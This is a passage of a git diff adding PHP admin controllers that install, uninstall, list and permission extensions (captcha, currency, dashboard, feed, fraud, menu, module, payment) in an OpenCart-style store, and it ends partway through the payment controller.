+ $this->load->language('extension/extension/captcha');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('captcha', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/captcha/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/captcha/' . $this->request->get['extension']);
+
+ // Compatibility
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'captcha/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'captcha/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/captcha/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/captcha');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('captcha', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/captcha/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $extensions = $this->model_setting_extension->getInstalled('captcha');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/captcha/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/captcha/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('captcha', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/captcha/*.php');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ $this->load->language('extension/captcha/' . $extension, 'extension');
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title') . (($extension == $this->config->get('config_captcha')) ? $this->language->get('text_default') : null),
+ 'status' => $this->config->get('captcha_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'install' => $this->url->link('extension/extension/captcha/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/captcha/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/captcha/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+ }
+
+ $sort_order = array();
+ foreach ($data['extensions'] as $key => $value) {
+ if($value['installed']){
+ $add = '0';
+ }else{
+ $add = '1';
+ }
+ $sort_order[$key] = $add.$value['name'];
+ }
+ array_multisort($sort_order, SORT_ASC, $data['extensions']);
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+ $this->response->setOutput($this->load->view('extension/extension/captcha', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/captcha')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/extension/currency.php b/public/admin/controller/extension/extension/currency.php
new file mode 100644
index 0000000..5c9bd60
--- /dev/null
+++ b/public/admin/controller/extension/extension/currency.php
@@ -0,0 +1,125 @@
+load->language('extension/extension/currency');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/currency');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('currency', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/currency/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/currency/' . $this->request->get['extension']);
+
+ // Compatibility
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'currency/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'currency/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/currency/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/currency');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('currency', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/currency/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ $data['heading_title'] = $this->language->get('heading_title');
+
+ $data['text_no_results'] = $this->language->get('text_no_results');
+
+ $data['column_name'] = $this->language->get('column_name');
+ $data['column_status'] = $this->language->get('column_status');
+ $data['column_action'] = $this->language->get('column_action');
+
+ $data['button_edit'] = $this->language->get('button_edit');
+ $data['button_install'] = $this->language->get('button_install');
+ $data['button_uninstall'] = $this->language->get('button_uninstall');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $extensions = $this->model_setting_extension->getInstalled('currency');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/currency/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/currency/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('currency', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/currency/*.php', GLOB_BRACE);
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ $this->load->language('extension/currency/' . $extension);
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('heading_title') . (($extension == $this->config->get('config_currency')) ? $this->language->get('text_default') : null),
+ 'status' => $this->config->get('currency_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'install' => $this->url->link('extension/extension/currency/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/currency/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/currency/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+ }
+
+ $this->response->setOutput($this->load->view('extension/extension/currency', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/currency')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/extension/dashboard.php b/public/admin/controller/extension/extension/dashboard.php
new file mode 100644
index 0000000..9cf81d7
--- /dev/null
+++ b/public/admin/controller/extension/extension/dashboard.php
@@ -0,0 +1,114 @@
+load->language('extension/extension/dashboard');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/dashboard');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('dashboard', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/dashboard/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/dashboard/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/dashboard/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/dashboard');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('dashboard', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/dashboard/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $extensions = $this->model_setting_extension->getInstalled('dashboard');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/dashboard/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('dashboard', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/dashboard/*.php');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ // Compatibility code for old extension folders
+ $this->load->language('extension/dashboard/' . $extension, 'extension');
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'width' => $this->config->get('dashboard_' . $extension . '_width'),
+ 'status' => $this->config->get('dashboard_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'sort_order' => $this->config->get('dashboard_' . $extension . '_sort_order'),
+ 'install' => $this->url->link('extension/extension/dashboard/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/dashboard/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/dashboard/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+ }
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+ $this->response->setOutput($this->load->view('extension/extension/dashboard', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/dashboard')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/extension/feed.php b/public/admin/controller/extension/extension/feed.php
new file mode 100644
index 0000000..14c8990
--- /dev/null
+++ b/public/admin/controller/extension/extension/feed.php
@@ -0,0 +1,127 @@
+load->language('extension/extension/feed');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/feed');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('feed', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/feed/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/feed/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/feed/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/feed');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('feed', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/feed/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $extensions = $this->model_setting_extension->getInstalled('feed');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/feed/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/feed/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('feed', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/feed/*.php');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ $this->load->language('extension/feed/' . $extension, 'extension');
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'status' => $this->config->get('feed_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'install' => $this->url->link('extension/extension/feed/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/feed/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/feed/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+ }
+
+ $sort_order = array();
+ foreach ($data['extensions'] as $key => $value) {
+ if($value['installed']){
+ $add = '0';
+ }else{
+ $add = '1';
+ }
+ $sort_order[$key] = $add.$value['name'];
+ }
+ array_multisort($sort_order, SORT_ASC, $data['extensions']);
+
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+
+ $this->response->setOutput($this->load->view('extension/extension/feed', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/feed')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/extension/fraud.php b/public/admin/controller/extension/extension/fraud.php
new file mode 100644
index 0000000..a1c8902
--- /dev/null
+++ b/public/admin/controller/extension/extension/fraud.php
@@ -0,0 +1,125 @@
+load->language('extension/extension/fraud');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/fraud');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('fraud', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/fraud/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/fraud/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/fraud/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/fraud');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('fraud', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/fraud/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $extensions = $this->model_setting_extension->getInstalled('fraud');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/fraud/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/fraud/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('fraud', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/fraud/*.php');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ $this->load->language('extension/fraud/' . $extension, 'extension');
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'status' => $this->config->get('fraud_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'install' => $this->url->link('extension/extension/fraud/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/fraud/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/fraud/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+ }
+
+ $sort_order = array();
+ foreach ($data['extensions'] as $key => $value) {
+ if($value['installed']){
+ $add = '0';
+ }else{
+ $add = '1';
+ }
+ $sort_order[$key] = $add.$value['name'];
+ }
+ array_multisort($sort_order, SORT_ASC, $data['extensions']);
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+ $this->response->setOutput($this->load->view('extension/extension/fraud', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/fraud')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/extension/menu.php b/public/admin/controller/extension/extension/menu.php
new file mode 100644
index 0000000..096fadc
--- /dev/null
+++ b/public/admin/controller/extension/extension/menu.php
@@ -0,0 +1,121 @@
+load->language('extension/extension/menu');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/menu');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('menu', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/menu/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/menu/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/menu/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/menu');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('menu', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/menu/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ $data['text_layout'] = sprintf($this->language->get('text_layout'), $this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'], true));
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $extensions = $this->model_setting_extension->getInstalled('menu');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/menu/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/menu/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('menu', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/menu/*.php');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ $this->load->language('extension/menu/' . $extension, 'extension');
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'status' => $this->config->get('menu_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'install' => $this->url->link('extension/extension/menu/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/menu/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/menu/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($data['extensions'] as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $data['extensions']);
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+ $this->response->setOutput($this->load->view('extension/extension/menu', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/menu')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/extension/module.php b/public/admin/controller/extension/extension/module.php
new file mode 100644
index 0000000..daea542
--- /dev/null
+++ b/public/admin/controller/extension/extension/module.php
@@ -0,0 +1,213 @@
+load->language('extension/extension/module');
+
+ $this->load->model('setting/extension');
+
+ $this->load->model('setting/module');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/module');
+
+ $this->load->model('setting/extension');
+
+ $this->load->model('setting/module');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('module', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/module/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/module/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/module/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ } else {
+ $this->session->data['error'] = $this->error['warning'];
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/module');
+
+ $this->load->model('setting/extension');
+
+ $this->load->model('setting/module');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('module', $this->request->get['extension']);
+
+ $this->model_setting_module->deleteModulesByCode($this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/module/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('extension/extension/module');
+
+ $this->load->model('setting/extension');
+
+ $this->load->model('setting/module');
+
+ if ($this->validate()) {
+ $this->load->language('module' . '/' . $this->request->get['extension']);
+
+ $this->model_setting_module->addModule($this->request->get['extension'], $this->language->get('heading_title'));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function delete() {
+ $this->load->language('extension/extension/module');
+
+ $this->load->model('setting/extension');
+
+ $this->load->model('setting/module');
+
+ if (isset($this->request->get['module_id']) && $this->validate()) {
+ $this->model_setting_module->deleteModule($this->request->get['module_id']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ $data['text_layout'] = sprintf($this->language->get('text_layout'), $this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'], true));
+ $data['text_hide_modules'] = sprintf($this->language->get('text_hide_modules'), $this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'], true));
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $extensions = $this->model_setting_extension->getInstalled('module');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/module/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/module/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('module', $value);
+
+ unset($extensions[$key]);
+
+ $this->model_setting_module->deleteModulesByCode($value);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Create a new language container so we don't pollute the current one
+ $language = new Language($this->config->get('config_language'));
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/module/*.php');
+
+ $this->load->model('user/user_group');
+
+ $user_group_info = $this->model_user_user_group->getUserGroup($this->user->getGroupId());
+
+ if(isset($user_group_info['permission']['hiden'])) {
+ $hiden = $user_group_info['permission']['hiden'];
+ } else {
+ $hiden = array();
+ }
+
+ $data['hiden'] = false;
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+
+ if (!in_array('extension/module/' . $extension, $hiden)) {
+ $this->load->language('extension/module/' . $extension, 'extension');
+ $module_data = array();
+ $modules = $this->model_setting_module->getModulesByCode($extension);
+ foreach ($modules as $module) {
+ if ($module['setting']) {
+ $setting_info = json_decode($module['setting'], true);
+ } else {
+ $setting_info = array();
+ }
+
+ $module_data[] = array(
+ 'module_id' => $module['module_id'],
+ 'name' => $module['name'],
+ 'status' => (isset($setting_info['status']) && $setting_info['status']) ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'edit' => $this->url->link('extension/module/' . $extension, 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $module['module_id'], true),
+ 'delete' => $this->url->link('extension/extension/module/delete', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $module['module_id'], true)
+ );
+ }
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'status' => $this->config->get('module_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'module' => $module_data,
+ 'install' => $this->url->link('extension/extension/module/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/module/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/module/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['hiden'] = true;
+ }
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($data['extensions'] as $key => $value) {
+ if($value['installed']){
+ $add = '0';
+ }else{
+ $add = '1';
+ }
+ $sort_order[$key] = $add.$value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $data['extensions']);
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+ $this->response->setOutput($this->load->view('extension/extension/module', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/module')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/extension/payment.php b/public/admin/controller/extension/extension/payment.php
new file mode 100644
index 0000000..1716d44
--- /dev/null
+++ b/public/admin/controller/extension/extension/payment.php
@@ -0,0 +1,157 @@
+load->language('extension/extension/payment');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/payment');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('payment', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/payment/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/payment/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/payment/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/payment');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('payment', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/payment/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ $data['text_hide_payment'] = sprintf($this->language->get('text_hide_payment'), $this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'], true));
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $this->load->model('setting/extension');
+
+ $extensions = $this->model_setting_extension->getInstalled('payment');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/payment/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/payment/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('payment', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/payment/*.php');
+
+ $this->load->model('user/user_group');
+
+ $user_group_info = $this->model_user_user_group->getUserGroup($this->user->getGroupId());
